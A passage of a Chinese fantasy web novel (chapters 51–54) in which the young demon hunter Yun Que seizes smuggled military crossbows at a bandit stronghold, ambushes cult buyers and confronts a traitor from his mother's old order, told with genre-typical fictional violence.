当初在乌家寨的时候,云缺就遇到了弩手。 乌家有二十名弩手,若非云缺的身手足够强悍,换成其他八品武者,非得吃大亏不可。 而黑风寨的这些重弩,与乌家所持有的重弩一模一样。 这就说明了一件事。 某位地位不菲的人物,在私下里往外售卖军械。 瞎子不敢胡扯,如实道: “咱们黑风寨只管运送,把东西从八山城里运出来,然后等着就行,有人会来取货,我们赚的就是个运送费,卖家买家的具体情况只有大当家一个人知道。” 瞎子比较识时务,在云缺手里的弩箭面前,他毫不犹豫的把大当家卖了。 云缺沉吟了一下,道:“别埋了,这些东西不错,我都要了。” “啊?”瞎子张大了嘴巴,一脸震惊。 这些货可是要命的东西,你一句话就要了? “大当家那边不会同意的,货不是我的呀!”瞎子道。 “明天我去找大当家,你别多嘴,回去睡觉。” 云缺拎着一把重弩,押着瞎子返回黑风寨。 瞎子哭丧着脸回了自己的屋子,他也不傻,知道这时候去禀告大当家,免不得又一顿打,还不如等明天让云缺自己去说。 回屋后,云缺关好门。 “出什么事了?” 牧青瑶始终没睡,看到云缺拎着的弩箭顿时惊讶道:“军弩!” 云缺将瞎子的事说了一遍。 听闻后,牧青瑶秀眉紧锁,俏脸凝重道: “军弩杀伤力极大,打造起来十分不易,是对付妖物的重器,军方会严格保存,整个大晋,只有皇城的禁军精锐才会大量配备,连边军都没有多少,其他大城的守军手里更加少见,怎会一次外泄这么多。” 云缺不以为意的笑了笑,道: “有钱能使鬼推磨。” 牧青瑶蹙眉道: “售卖军弩,这已经不是钱的问题了,国之重器如果始终外流,大厦将倾。” “乌家也有不少军弩,没准黑风寨的这批货,是红莲教要的东西。”云缺道。 “贩卖军弩非同小可,回到皇城我会禀告陛下彻查此事。”牧青瑶沉声道。 “大晋多说有些蛀虫,一时半会的又垮不了,郡主还是多想想自己的小命为好。”云缺调侃道。 牧青瑶绷着的小脸儿立刻泄了气,道: “我知道了,回到皇城之前我不会节外生枝多管闲事。” “这就对了,拖油瓶要有拖油瓶的觉悟。”云缺笑道。 牧青瑶气得咬起小虎牙,像极了一只卷缩在被窝里的猫儿。 “不过这次的闲事,我们不仅要管,而且管定了。”云缺把玩着军弩,嘴角上扬,笑得古怪。 一看到云缺那种招牌式的坏笑,牧青瑶就知道云缺有了坏主意,这次不知谁又要倒霉。 尽管云缺的坏笑一点都不英俊,但看在牧青瑶的眼里,总会感到一种安心。 “坏人。” 牧青瑶轻若蚊蝇般呢喃了一句,裹紧被子继续睡觉,很快进入梦乡。 不知从何时开始,小郡主只有云缺在身旁的时候,才会睡得安稳,睡得踏实。 虽然也会有噩梦,但醒来的时候不再害怕,也不再迷茫。 天亮后,云缺找到常威。 开门见山,将军弩直接扔到桌子上。 常威的脸色变得精彩起来,一张大脸憋得通红,有气难出。 最后常威叹了口气,道: “云兄弟啊,这笔买卖是要命的买卖,你别参和了,到时候我能分到多少银子,肯定有你一半就是了,我说话算数。” 云缺道: “不知大当家这笔买卖,能赚多少。” 常威比量一根手指,咬牙道:“一千两!分你五百两!” “才一千两啊,不算多,不知一把军弩价值几何。”云缺道。 “成本至少一千两往上,黑市交易的话,价格还要翻倍!”常威如实道。 “两千纹银一把弩,一百把的话,就是二十万两,有了二十万银子,大当家可以去皇城买座宅子当一辈子员外了。”云缺笑道。 常威听得连连苦笑,道: “这种货,买家和卖家都不是我们能惹得起的,赚个运费已经不错了,哪敢打这批货的主意。” “多久能有一批货。”云缺问道。 “有时一个月,有时两三月,不一定。”常威道。 “卖家和买家都是谁。”云缺问道。 常威为难起来,支吾着道: “不是我不说实话,我不想害你,这种事云兄弟只管拿钱就好,知道得越少,越安全。” “身为悍匪,就该刀头舔血,大当家觉得呢。” 云缺笑呵呵的把玩着重弩,有意无意的将弩箭对准了常威。 常威这个气呀。 昨天刚入伙,今天就成悍匪了? 你以前也是同行吧! 常威不怕一把军弩,他怕的是萍山君,没办法只好如实道: “买家取货,不是同一个人,每次都遮蔽容貌不知根底,我们没有什么交流,对方给钱,我们交货。” “卖家的情况更神秘,在八山城有个代理人,我只需要从代理人手里接货,运回双角山即可。” “我知道云兄弟你年轻气盛,想要干票大的,但这批货我们绝对不能动,动了的话,黑风寨会被屠灭一空啊!” 常威的警告,云缺根本没听,继续问道: “八山城的代理人是谁,这个人,你应该认识吧。” “他叫胡子,跟他喝过几次酒,只知道此人住在八山城,具体身份不得而知。”常威道。 “胡子……”云缺道:“既然大当家跟这个胡子很熟,对方替谁办事,你总该知道些。” “这个……” 常威一犹豫,耳畔只听嗖一声。 一只弩箭从他脑袋旁边掠过,切断了几根头发,钉在房顶。 “失手了,这东西劲头不小啊。”云缺微笑道。 明显的威胁! 常威苦着脸,道: “有一次喝多了,听那胡子提过一嘴,他是替洛将军办事的,其他情况我真不知道了,毕竟我们只是山匪,攀不上太高的关系。” 得知洛将军,云缺暗暗将这个名字记下。 随后一拍桌子。 啪一声闷响,把常威吓得一哆嗦。 “这批货,我们收了!”云缺傲然道。 常威连忙摆手道:“不可啊!二当家别冲动,这笔买卖能细水长流,别看一次赚不太多,长年累月下来,我们其实不少赚呐!生意嘛讲究个诚信,只要有诚信,自然招财。” “大当家糊涂!” 云缺冷哼道:“我是悍匪,要什么诚信!你被官府抓了,他们会因为你有诚信而不杀你的头吗?我不仅要这批货,等买家来了一并砍了!那买家运送这等货物必定一路打点,身上带着的银票肯定不会少。” 常威不等规劝,又听人家豪言道。 “宰了买家,我们再混进八山城,找到那个胡子,顺藤摸瓜揪出洛将军,卖了这么多货,洛将军富得流油,抄了他的家,我们这辈子吃香喝辣!” 常威的下巴差点掉到地上,听得目瞪口呆。 劫了货不说,干掉了买家,还要干掉卖家,你丫的真是个人才! 我们是匪徒不假,又不是阎王爷! 所过之地寸草不留啊! 第52章 灵魂画手 云缺的宏图大计,差点把常威吓个半死。 临走前,云缺还贴心的叮嘱大当家,这次计划千万别泄露出去,萍山君最近总觉得肚子饿,天天到处找吃的呢。 等云缺走后,常威一个人在大屋里发呆。 不多时瞎子转了进来。 “大当家的,想啥呢?” “我想死!都他娘怪你!” 乒乒乓乓,瞎子莫名其妙的又挨了一顿暴揍。 …… “洛将军?” 牧青瑶听完云缺带回的消息,沉吟良久道:“皇城里没有这个人。” “难道其他地方还能弄到这么多军弩?”云缺道。 “不可能的,一次百支军弩,这种数量的重器一定出自皇城。”牧青瑶肯定道。 “那就是化名了,看来接头的那个胡子,很谨慎嘛,喝多了也不会泄漏消息。”云缺道。 “不管如何,有一条线索总归是好的,可以从洛将军这个化名查起。”牧青瑶说完望向云缺,道:“你真的打算截留那批军弩?” “当然了,我还打算去八山城打劫呢。”云缺将弩箭递给牧青瑶,道:“尽快学会使用弩箭,必要的时候,你也许要杀人。” 牧青瑶接过弩箭,俏脸变得苍白了几分,道: “我从没杀过人,我不想枉杀无辜。” “贩卖军弩,是个什么罪名。”云缺道。 “窃国之罪,斩立决。”牧青瑶道。 “那不就得了,至少八山城里的那个胡子,早就该死。”云缺冷笑道:“先拿他开刀。” 牧青瑶深深的吸了一口气,小手紧紧握住弩箭,重重的点了点头。 当晚,云缺又找来常威和瞎子。 这次牧青瑶和萍山君都在。 先问清买家何时会来,得知最早也要半个月后。 随后云缺给瞎子个任务。 让其混进八山城,半月之内摸清胡子的底细。 瞎子连忙叫苦,只有大当家才见过胡子,别人都没见过。 “简单,画出来不就行了。”萍山君在旁边出主意道。 萍山君一开口,常威不敢不听,苦着脸埋头作画。 画像很快被画好。 屋子里的众人盯着画像,一时无语。 无论会画画的还是不会画画的,都沉默了。 白纸上,画着一个圆形的脸,上端有两个挨得很近的墨疙瘩,应该是眼睛,中间画了两个圆圈,好像是鼻孔,嘴巴画得很长还歪歪斜斜。 云缺盯着画,赞叹道: “大当家天赋异禀,真乃灵魂画手,你要是不说,我都看不出你画的是个人。” 说是人像,其实画的跟鬼差不多。 “我来试试,大当家说说此人的具体模样。”牧青瑶拿起笔道。 常威仔细回想着胡子的模样,说出长相上的特点。 牧青瑶根据常威的描述,不断修改,最后终于画出一幅画像。 画像上的,是个四十多岁的男人,眉目阴鸷,鹰钩鼻,宽脑门,留着一把胡子,右眼皮上有一道刀疤。 “就是他!一模一样,这就是胡子!”常威笃定道。 云缺点点头,朝着牧青瑶投去佩服的目光。 牧青瑶则微微仰起头,做出一副小小得意的模样。 将画像交给瞎子,云缺道: “瞎子,看清楚这个人,把他找出来,别的无所谓,我只要知道他住在什么地方,家里有多少人手即可。” 瞎子哭丧着脸接过画像,点头哈腰的答应下来。 云缺拍了拍瞎子的肩膀,在对方耳边低声道: “别想着开溜,你应该知道虎妖能控制伥鬼,我已经在你身上留了一只,完不成任务,让你真瞎!” 云缺其实没让萍山君放伥鬼,而且伥鬼在距离过远的时候会随之失效。 既然瞎子知道了萍山君的真身,只需个说辞,即可唬住对方。 让瞎子去八山城,云缺并非胡乱用人,而是他知道瞎子这家伙最是油滑,尤其善于伪装与刺探消息。 当初途径双角山的时候,连云缺都没想到路上的瞎子居然是山匪。 黑风寨几百人,唯独瞎子是眼线,可见常威对瞎子的能耐也是信得过的。 “二当家放心!这点小事我肯定办妥!八山城我熟得很,这就出发!” 瞎子吓得急匆匆出门,赶往八山城。 对于云缺的这番布置,牧青瑶是认可的。 非常之时行非常之事。 云缺将黑风寨的山匪利用到极致,无可厚非,牧青瑶不会去怜悯山匪。 但云缺让瞎子找人这种事,牧青瑶怎么看都觉得怪怪的。 打发走瞎子后,云缺直接进行第二步。 让常威从黑风寨挑选出百名最凶悍的山匪,每人发放一把重弩,让这些人从今天开始练习准头儿。 这是一百名炮灰。 从选出来那一刻起,云缺就当这些人是死人了。 “有没有进城的好办法。”云缺看向常威。 计划大致定下,还有最关键的一点。 如何混进八山城。 “直接进呐!” 常威说完见云缺不解,急忙解释道:“寨子里有通关文牒,带上就能进城,这是我的。” 说着常威拿出自己的文牒,让云缺看。 “马小翠?” 云缺念着文牒上的名字,又看了看五大三粗的常威,道:“你用这个能进城?” “嘿嘿,城门的盘查没那么严格,大多时候扫一眼完事儿,谁有工夫挨个对照。”常威讪笑道。 “哪来的文牒。”云缺道。 “劫来的,为了方便进城特意留了十几份。”常威如实道。 “十几份太少,这阵子让弟兄们勤快点,多弄点文牒。”云缺道。 常威满口答应,承诺明天亲自带队下山去打劫,别的不要,专门打劫通关文牒。 计划已经开始,能否成功,其实云缺没多少把握。 实在没有太好的办法了。 若让八山城的那位将军护送,远比自己这个办法要危险得多。 一行人就此住在黑风寨。 云缺并没闲着。 趁着这段时间,他要将八品炼骨境最后一步修炼圆满,达到八品巅峰的地步。 “郡主博学多才,帮忙看看这两个果子是不是真品。” 云缺拿出两枚血茸果。 牧青瑶精通医道,对灵果之类自然熟悉,仔细查看一番便给出了肯定答复。 真品无疑! “血茸果无法久存,应该尽快服用,从哪里来的?”牧青瑶道。 “地底下挖出来的。”云缺将血茸果的由来告知对方。 得知从百玉城地牢深处的地底所得,牧青瑶不由得疑惑起来。 “按你的说法,梅钱已经挖了小半年,可血茸果是无法保存那么久的,早该干瘪枯萎灵气尽失,怎会保存得如此之好?” “谁知道呢,可能装果子的木箱特殊。”云缺不在意的道,只要果子没问题,别的就不是问题。 “什么样的木箱,给我说说。”牧青瑶十分好奇。 “方块的,像一块中空的方木,没有锁,对了,盒子上边还长着树根样的东西。”云缺回忆道。 “其色如血,其味如蔗,表皮有茸,其效大补,血茸果出自一些灵气旺盛的奇木,多在树顶结出,融合灵树精华而生,有补血健骨的奇效,对武者是大补之物,按照你的说法,地牢下的血茸果不像被人藏起来的,好像自然生长而来,可据我所知,没有血茸果会长在地底。” 牧青瑶沉吟了一下,继续道: “除非那奇木的根须,蕴含着磅礴到无法衡量的灵气,才会出现仅仅以根须即可结出血茸果的异象。” 云缺回想了一下当初挖出血茸果的画面。 盒子上的树根,的确是天然连接在一起的,被牧青瑶这么一提醒,云缺才发现血茸果好像就是原始状态,由树根结出的果实,而非有人刻意存放。 “地牢里没有树啊。”云缺疑惑道。 血色巨鼠的出现,破坏了树根,之后云缺没去追查,但他能确定地牢的范围内,绝对一棵树都没有。 “血茸果的上方,是什么地方。”牧青瑶道。 “一处普通牢房,什么也没有,哦对了,门六就关在里面。” 云缺随口说完,神色微微变化。 能穿过木门,泡在池塘里半宿都淹不死的门六,绝对是个古怪的家伙。 难道血茸果的存在,与他有关? “穿门,喝水,都与木有关,难不成那家伙是个树精?”云缺道。 “我看不出他有奇特的灵体。”牧青瑶道。 世上的奇闻怪事多不胜数,既然看不出特殊,云缺不再多想。 只要血茸果没问题就行。 至于从萍山君手里夺来的血煞丹,云缺不打算用。 血煞丹来自红莲教,云缺信不过。 等以后找机会把血煞丹卖出去换钱。 吃掉一枚血茸果,云缺开始了八品炼骨境最后的打熬。 一晃半月时间过去。 牧青瑶的箭法进展得极快,已经能做到箭不虚发。 挑选出来的百名山匪也都掌握了军弩,远的未必打得准,近距离之下大多没问题了。 经过半月修炼,加上两枚血茸果的奇效,云缺终于将最为薄弱的双脚骨骼打熬到极致。 八品炼骨境,彻底圆满! 牧青瑶有些奇怪。 别的八品武者,打熬筋骨会从下往上,都会从脚部开始,最后才是头部。 因为头最重要。 一旦其他部位出了岔子,不至于出现致命的危险。 可云缺偏偏从头部开始打熬。 简直是反其道而行之! 以云缺的说法,猎妖人整天刀头舔血,把脑袋别在裤腰带上,自然要先打熬最关键的头部,这样恶战的时候不至于被妖物把脑袋轻易咬碎。 其他武者不需要天天冒险,当然会选择最稳妥的办法,先打熬脚部。 牧青瑶恍然的同时,更加心疼云缺。 斩妖无数的代价,是时刻游走在生死之间。 半月后,瞎子准时归来。 带来了一个好消息。 胡子的身份已经确认。 此人真名叫令狐豪,在八山城开着一家典当行,家财万贯,据说与将军苏鸿山都是老相识。 得知这个消息,云缺不得不连苏鸿山一起怀疑。 那位幕后真正的黑手洛将军,极有可能也是个将军。 但牧青瑶对苏鸿山的为人坚信不疑,认为苏鸿山被蒙蔽,并不知情。 苏鸿山到底知不知道军弩之事,云缺不在乎,反正他最重要的目的,是将牧青瑶平安送到天祈皇城。 至于之后的军弩走私,皇帝自然会追查下去。 又过了两天。 黑风寨迎来一队客人。 取军弩的买家,到了。 让云缺有些意外的是,军弩的买家,竟是个女人。 第53章 最烧钱的招式 抵达黑风寨的队伍,共有十一人。 为首的,是名身姿绰约的妇人,举手投足间带着一股贵气,只是面罩轻纱看不出真容。 随行有四名婢女,与六名壮硕武者。 常威在自己的大屋里设宴款待,摆了一大桌子酒菜。 作为二当家,云缺自然少不了陪同。 云缺稳当当的坐在常威旁边,扫了眼来客,目光在其中一名模样普通的婢女身上停顿瞬间就自然的转开,望向为首的妇人。 云缺的举动轻松自然,看不出丝毫异样。 旁边的牧青瑶却察觉到,云缺眼里好像多了一层特殊的冷冽。 黑风寨这边,一起吃饭的人可不少。 牧青瑶,门六,萍山君,瞎子,还有十几名山匪。 “贵客登门,没什么好酒款待,诸位将就着吃点,呵呵。”常威皮笑肉不笑的道。 他强作镇定,此刻心里发虚。 人家是来取东西的,结果东西已经被黑风寨扣下不说,今天这宴席更是一场鸿门宴! 妇人直接落座,但是没吃东西。 “两月没见,大当家的山寨又壮大了不少,多了许多生面孔啊。”妇人谈笑风生的道。 “上次来取货的,不是你啊,我们第一次见面吧。”常威怔了一下,疑惑道。 “大当家贵人多忘事,其实我们见过面的,这些都是小事,不提也罢,大当家把货拿出来吧,当面点清为好。”妇人道。 “成!我这就叫人去拿。” 常威随便吩咐个手下去取货,自己则给妇人倒了杯酒,道:“贵客一路风尘仆仆,喝杯酒解解渴。” 常威当先一饮而尽。 妇人则端着酒杯,迟迟不喝,笑道: “大当家如果缺女人,大可知会一声,我那几个婢女都能侍奉一二,若实在看不上她们,妾身也可自荐枕席,何必下这么重的酥骨散。” 屋子里的气氛徒然一冷。 妇人带来的人手纷纷冷目相对,黑风寨的山匪也变得凶气大起。 见手段被人家看破,常威尴尬着笑了两声,将目光看向云缺。 “多了么?下次少放点。”云缺风轻云淡的道。 妇人也将目光转向云缺,道: “这位小哥儿倒是真诚,看样子,你不想让我们离开黑风寨了,不知你又是何人呢。” “我是这里的二当家,最近缺了个压寨夫人,看你不错,打算把你们都留下。”云缺道。 “二当家好眼光!妾身的手段绝对让你满意,我可以留下陪你,不过,货得先拿走才行。”妇人娇笑道。 “货嘛,我也不想给了。”云缺笑道。 “可以,不过黑风寨,之后就要在大晋除名喽。”妇人看似玩笑般说道:“这批货若缺了一丁点,我可以保证,你们黑风寨上上下下,不会有任何活口。” 常威听得脸色发白。 有能力染指军弩这笔买卖的,绝对是庞然大物,黑风寨在人家面前不堪一击。 “想要货也行,说说谁才是真正的买家。” 云缺神态轻松的夹了口菜,吃得津津有味。 “如此年轻便能坐到二当家的位置,定是聪慧过人之辈,二当家不妨猜猜看。”妇人微笑道。 “行啊,猜对了,有什么彩头吗。”云缺道。 “若二当家能猜对,妾身亲自为你献舞一曲,绝对让你大开眼界。”妇人语气中充满着诱惑。 “是不是青楼里那种跳完了,就不着片缕的?”云缺充满期待的道。 “呵呵呵,妾身的舞姿,比起青楼里的庸脂俗粉可要好看百倍。”妇人道。 “是吗!那得开开眼界,我可猜喽。”云缺搓着手,兴致勃勃的道:“我猜真正的买家,是红莲教。” 红莲教三个字一出,妇人随之沉默下来,一缕杀气在其身上蔓延而出。 “二当家,还真聪明啊。” 妇人语气转冷,道:“可惜你应该猜错才对,世上有很多谜题,猜不对,只会留下个笑话,若猜对了,留下的就是命了。” “你这人没什么诚信呐,幸好我也不想看你跳舞,省得恶心,看男人的话澡堂子里有的是。”云缺冷笑道。 “你怎么知道我是男人?” 妇人的声线随之转变,变成了男人的声音道:“原来如此,你知道两月前来取货的是个男人,我方才又与大当家说过两月不见,你这才从中看出端倪,果然心思细腻,有这份洞察力,难怪你能上位成为黑风寨的二当家。” 云缺摆了摆手,道: “没那么麻烦,你自己没伪装好而已,那么明显的喉结,你觉得女人会有么,还有一点你也说错了,我上位,靠的不是心思细腻。” 妇人下意识的摸了下自己的喉结,冷声问道:“那你凭什么上的位呢。” 云缺呵呵一笑,另一只手从桌子下抓出一把重弩,对着妇人扣动扳机道: “凭我够狠啊!” 嗖!! 一支利箭破空而出! 当云缺动手的同时,常威瞎子等一众悍匪纷纷从桌子下抓出重弩,对那四名婢女与六个护卫下了死手。 一不做二不休,这就是悍匪的道理。 既然局面已经无法挽回,常威只能跟着云缺一起动手,来一场黑吃黑。 就算他不动手,黑风寨也保不住。 屋子里利箭横飞! 顷刻间婢女与护卫纷纷倒在血泊当中,尽数被杀。 唯有那妇人毫发无损。 一张桌子的距离,又是军中重弩,如果是普通人,这一箭足以击杀。 但那妇人显然有着不低的修为,此时身周浮现出一层光罩,其上密密麻麻排列着无数符文。 云缺与常威将弩箭尽数放空,也没破开光罩分毫。 妇人安稳的坐在原位,浑身起伏着八品道门修士的气息波动。 “护体符文盾!” 常威忌惮的低吼道:“至少上千张灵符融汇而成!有这等符文盾护身,同阶武夫也破不开!” 符文盾是道家修士拿手的防御招式,以大量防御灵符炼制成护身法盾,可用百张灵符,千张乃至万张,灵符的数量越多,符文盾防御力越强。 这种护身手段有个好处,只要有钱,即使符文盾被损坏也可重新以灵符填补修复。 堪称最烧钱的防御招式! 能用得起符文盾的修士,没有穷人。 妇人稳如泰山,冷哼道: “你们好大的胆子!劫货杀人,你们真够狠的,就不怕报应吗!” 云缺冷笑道: “你们红莲教丧尽天良都不怕报应,我们杀几个坏人而已,又怕什么呢,这叫为民除害呀。” “好一个为民除害!从今天开始,黑风寨有一个算一个,谁也别想活命!”妇人豁然起身,道:“吞了红莲教的货,你们逃到天边也难逃一死!” “我们为什么要逃啊,现在应该是你逃才对。”云缺笑呵呵的一摆手,道:“砍他!” 呼啦一声。 早已埋伏在门外的大批山匪闯了进来,二话不说朝着妇人开砍。 上百把钢刀犹如车轮般转动不停,将妇人围了个风雨不透。 符文盾的确防御力惊人,但也会消耗。 这些出手的悍匪全都是九品武夫,照这么砍下去,一个时辰之后就能将符文盾生生斩开! 妇人冷哼中开始反击。 一道剑光从其手中攻出,轻易将一名悍匪心脉洞开。 妇人有着八品开光境的修为,修炼的飞剑之术绝非九品武夫能挡得住的。 在妇人要出第二剑的时候,常威出手了。 八品炼骨境的大当家,以一把鬼头刀缠住了那柄飞剑。 这下妇人再也无法镇定自若。 只要符文盾被破开,以他道门八品的本体,顷刻间就得被这群武夫砍成肉泥! “黑风寨自取灭亡!你们等死吧!” 妇人大吼一声拍出两张灵符,刹那间屋子里狂风大作,电闪雷鸣。 一群悍匪被相继掀翻。 “是风雷符!散开!” 常威一眼看出对方动用的灵符,大吼一声当先退出门外。 其他人相继逃出屋子。 轰隆一声! 屋子在风雷之下轰塌。 随后一道身影在屋子后面飞掠而出,一步数丈,逃向山下。 见对方逃了,常威急匆匆来到云缺身旁道: “那家伙用了轻身符,速度极快,不能让他逃了!必须灭口!” 如果对方回去送信,黑风寨很快会迎来灭顶之灾。 只有将前来收货的人尽数杀掉,才能争取到充足的时间,黑风寨散伙还是搬家,都有时间准备。 并未出手的萍山君冷冷道:“他逃不掉,我的伥鬼已经追上去了。” “我们现在就追,以免夜长梦多!”常威焦急道。 拥有灵符与法器的八品开光境修士,绝对不好对付。 “急什么,区区八品而已,让他先逃一会儿。” 云缺望着远去的妇人,直至对方消失在山林,才对萍山君道:“不要活口。” 萍山君现出虎身就要追,结果被云缺拦住,让其带着牧青瑶一起去。 云缺将手里的军弩交给牧青瑶,神色变得十分凝重,道: “杀了他。” 牧青瑶接过军弩,紧紧抿着唇,点了点头。 萍山君低吼一声,驮着牧青瑶,冲进山林深处。 等牧青瑶走后,云缺沉沉呼出一口气,好像心里的负担终于消失了一样。 常威见萍山君出手,也轻松了不少。 七阶虎妖追杀八品修士,绝对十拿九稳。 然而这位大当家并不知道的是,真正的危险,其实尚未远离。 云缺转回身,望向坍塌的大屋吩咐道: “拿火把与煤油来,把这屋子给我烧了。” 常威莫名其妙,自己屋子坍塌大半,已经废了,居然还要烧? 屋子倒塌还得放把火么,这是什么地方的奇葩习俗? 几个山匪急忙照办,刚把煤油与火把拿来,不等点火,坍塌的屋舍中忽然站起一道人影。 第54章 斩妖司的叛徒 山林里,萍山君慢悠悠的跑着。 追杀个八品修士而已,萍山君认为手到擒来,有伥鬼跟着,反正也不怕对方逃了。 牧青瑶的小脸上神色有些紧张。 她心里很清楚,这是云缺为她制造的一次试炼。 能不能杀掉红莲教的人不重要,最重要的是杀人的胆量。 可是很快,牧青瑶察觉到一些奇怪的地方。 云缺给她的重弩上,并没有弩箭,之前攻击妇人的时候已经用光了。 云缺竟忘记重新上好弩箭。 这一点在牧青瑶看来并不正常。 以云缺的谨慎,不会如此大意。 随后牧青瑶陷入沉吟。 云缺在看见其中一名婢女时神态的微微变化,加上这次只让自己与萍山君追杀对方,而云缺并未随同…… 刹那间,牧青瑶心头升起一份不祥的预感。 与其说云缺此举,是为了试炼自己的胆量,倒不如说是让萍山君带着自己远离危险之地。 小郡主愕然回头。 山顶的黑风寨早已看不到轮廓,身后全是茂密的丛林。 “萍山君,能否加快些速度,我们速战速决,早些回去。”牧青瑶道。 “好嘞,郡主说了算!” 萍山君以为灵芸郡主胆子小,不想离开云缺太久,于是加快了速度,风驰电掣般追向目标。 山顶,黑风寨。 见废墟里走出个人来,常威大惊。 妇人带来的十个人,全被击杀而死,怎么会有活口! 人影走出废墟,显现出真容,正是其中的一个婢女。 此人三十多岁的年纪,容貌普通,脸色有些苍白,看不出任何特殊之处,与其他婢女唯一不同的地方,是她背着一把刀。 漆黑的刀鞘,狭长而冰冷,看得出那是一把长刀。 婢女站在坍塌的大屋前,冷冷环视着一众悍匪,最后目光落在云缺身上。 “山匪杀人,首先应当搜索值钱之物,哪有先毁尸灭迹的,你的眼力很强,居然看得出我没死。” 声音沙哑,冷得毫无感情波动。 不等云缺开口,婢女望向萍山君消失的方位又道: “那女孩对你很重要,你让虎妖带她离开,其实是为了保护她,你知道黑风寨很快将不复存在,这里的所有人,都会死。” 身形单薄的婢女,却诉说着残忍的话语,无视着一群杀人不眨眼的悍匪。 婢女一个人站在废墟前,带给常威等人一种无形的压迫感。 仿佛那道单薄的身影当中,藏着某种恐怖的力量! 常威的额头落下一滴冷汗。 身为黑风寨大当家,常威是从死人堆里摸爬滚打杀出来的悍匪,他对杀伐有着极其敏锐的感知。 此刻,常威从那婢女身上竟感受到让他心悸的杀意! “杀了她!” 常威狞声大喝,抢先动手。 立刻有十几名山匪利箭齐出,打算用重弩击杀对方。 嗖!嗖!嗖! 一片弩箭劈头盖脸朝着婢女攻去。 那婢女只是冷冷的哼了声,竟不躲不避,抬手抽出背后长刀。 刺耳的嗡鸣,伴随着长刀出鞘而炸起! 一片刀光在婢女身前出现。 但凡接近的弩箭,全被刀光挡住,有很多箭矢被反弹而回,贯穿了十几名悍匪的心口。 仅仅一个刹那而已,黑风寨的悍匪死掉一片! “七品炼神境!” 常威大惊失色,一张大脸变得苍白如纸。 对方的气机波动,足足比他高出一个大境界。 人家是七品武者! 在黑风寨,常威的修为最高,但也仅仅八品而已,如果出现七品武者,足以轻易将黑风寨所有人斩尽杀绝。 最要命的是,那头七阶虎妖还不在,常威只觉得心如冰寒,万念俱灰。 他现在只能等死! 云缺始终站在原地,没有错愕,也没有吃惊,神色淡漠。 婢女手持长刀,没看任何人,只望向云缺道: “你早看出我才是此行的首领,我很好奇,你我从未见过,你如何看出我的身份。” 云缺没有立刻回答,而是走到旁边的一具尸体旁,从死尸手里拿起一把重弩。 “如果换成别的七品武者,我也许会将东西还给你们,多一事不如少一事,我在这住得不错,挺安逸的,打算在这养老,不过既然你来了,没办法,我只能把你埋在黑风寨。” 云缺的声音淡漠冰冷,说得十分奇怪。 婢女现出不解之色,道: “这么说,你想必是与红莲教有仇了,你不过区区八品武者,哪来的信心杀掉我。” “是啊,红莲教害死了我的朋友,红莲教的人,我早晚会一个个全部杀光,不过你是个例外,就算没有红莲教,我一样会杀掉你。”云缺道。 “难道我们也有仇。”婢女冷冷的道。 “说对了,还是不解之仇,不是你死就是我活!”云缺冷漠道。 “素未谋面,竟多了个如此仇家,我实在想不通,我们的仇怨从何而来,你都不知道我究竟是谁。”婢女冷声道。 “怎么会不知道,我不仅知道你是谁,我还知道你来自何处。”云缺寒声道。 “哈!连红莲教的教主都不知道我真正的身份,那么你来说说看,我究竟来自何处呢。”婢女好笑道。 “你来自前朝大燕的斩妖司!”云缺一字一顿的道出了这句话。 话音刚落,婢女的神色骤然一变,瞳孔缩紧。 “你到底是什么人!”婢女沉声道。 “说对了是吧,我不仅知道你来自何处,我还知道你的名字,你叫柳十一。”云缺渐渐咬起牙关,冷声道:“你在妖都大战之前叛逃,杀了两名同僚,重伤十余人,你是斩妖司的叛徒!” 婢女不由自主的往后退了一步,眼瞳里只剩下强烈的震惊。 那是她藏在心底最深处的隐秘,她认为直到自己死去,这份曾经的身份也不会被外人知晓。 她的底细,世上不该有人知道才对,却被眼前这个黑衣少年完完整整的说了出来! 云缺缓缓抽出背后的长刀,一步步走向对方,冷语道: “你这叛徒,该死!” 嗡!! 一道汹涌的刀气隔空斩出,直奔柳十一的咽喉。 柳十一没有躲避,横着挥刀,以强劲的力道将刀气震开。 刀气四溢,形成一片狂风朝着四周散去,吹得一群悍匪睁不开眼。 常威见云缺出手,他立刻做出了这辈子最正确的选择,扭头就跑。 其他山匪也不傻,谁也不敢围攻七品炼神境武者,既然二当家如此神勇,他们自然四散奔逃。 眨眼间原地变得空荡荡,一个人影都不剩。 “你究竟是谁!为什么会认得我!”柳十一沙哑着低吼。 “你叛逃之后,斩妖司派遣高手追杀你,结果反被你重创,躺了两个月才好转。”云缺再次举刀,冷声道:“我始终想不通,我娘明明比你厉害得多,为何会被你所伤!” 嗡!! 第二道刀气,更加汹涌凌厉,地面上的沙石随之扬起。 柳十一再次挡下这一击。 她的神色变得忽明忽暗,难以掩饰眼底的震惊,低语道: “白孤晴……你是云缺!” 柳十一此刻的眼前,云缺的脸庞终于与那个斩妖司最小的猎妖人所重叠。 当年她叛逃的时候,云缺还只是个两岁多的娃娃,如今已经长大,难怪她认不出来。 而云缺,却始终记得这个叛逃者的模样。 因为对方曾经抱过自己,曾经给自己许多好吃的,更曾经重创过自己的母亲! 白孤晴,便是云缺的生母。 柳十一艰难的压下震惊,道:“你原来还活着,你没去妖都。” “我去了!斩妖司没有逃兵,除了你这个叛徒!”云缺低吼着斩出第三刀。 斩妖司虽然早已覆灭,连同着大燕一同消失在历史的长河,但斩妖司的追杀令始终存在。 即便斩妖司只剩下一个人,也要追杀柳十一这个叛徒! 这是云缺自小就刻在骨子里的执念。 斩妖司,曾经是云缺的家,家里有好多的家人。 有的家人冷漠,有的家人热情,有的家人懒散,热热闹闹。 自从柳十一叛逃,斩妖司变得冷清了许多。 因为从斩妖司建立之初,从未出现过互相残杀的情况。 柳十一不仅杀了家人,还将追杀她的白孤晴重创,云缺至今仍记得母亲身受重伤的凄惨模样。 那年云缺只有两岁。 他却发誓,早晚要亲手杀掉柳十一,替母亲报仇! 柳十一挥刀斩开刀气,冷漠道: “妖都之战,斩妖司所有人战死,既然你还活着,你不一样是个逃兵吗,你有什么资格说我是叛徒。” “我没有逃,我始终斩妖到最后一刻,我以为我死了,等我醒来的时候却还活着。”云缺走到对方两丈之地,站定身形,幽幽道:“也许是老天可怜我,让我活下去,杀了你这叛徒!” “叛徒……哈哈哈哈!我是叛徒,那又如何呢!我自己选的路,自己会走下去!”柳十一忽然放声大笑。 “斩妖司的猎妖人不做,偏偏去红莲教当走狗,你死罪难逃!重伤我娘,你更该死!” 云缺单手持刀,另一只手拿出一粒蛙卵,仰头吞了下去。 面对仇敌,云缺早已杀心大起。 叛逃之罪,伤母之仇,不得不报! 